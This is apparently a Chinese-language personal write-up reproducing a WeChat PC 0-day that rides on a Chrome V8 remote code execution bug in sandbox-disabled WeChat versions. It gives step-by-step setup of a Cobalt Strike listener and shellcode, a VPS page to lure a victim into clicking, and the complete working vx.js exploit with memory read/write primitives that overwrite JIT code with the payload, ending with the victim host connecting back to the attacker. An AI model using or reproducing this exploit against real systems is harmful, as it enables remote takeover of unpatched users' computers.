微信0DAY复现

微信0day漏洞复现

之前做了一次复现，又过了一个多月发现步骤都忘了，所以还是记录下来，以供日后参考

• 影响版本：
  微信版本：<=3.2.1.141
  Chrome：<=89.0.4389.114

• 环境准备：
  一台kali用于使用CS、一台靶机、一台VPS用于提供访问网站

• 漏洞原理：
  该漏洞是基于谷歌浏览器内核中一个JavaScript引擎的远程代码执行漏洞。当用户使用谷歌Chrome浏览器或微软Edge浏览器加载PoC HTML及其相对应的JavaScript文件时，攻击者可以利用该漏洞来启动window系统程序，默认情况下谷歌浏览器开启沙盒模式，不受该漏洞影响。但是微信PC是默认关闭沙箱的。

开始复现

1. 首先打开kali，打开CS，步骤如下
   
   运行CS之后，先添加listener，
   2. 生成攻击payload
   
   生成一个payload.c文件，用记事本打开，将全部" \ "替换成 ",0 "
   打开vps的phpstudy，在目录下创建vx文件夹，文件夹放两个文件:index.html,vx.js
   vx.js:

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [  ];//这里放入刚才的shellcode

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

index.php:

<html>
	<script src="vx.js"></script>
</html>

打开靶机的微信，用微信点击http://192.168.0.xx/vx/index.html链接
此时kali CS发现主机已上线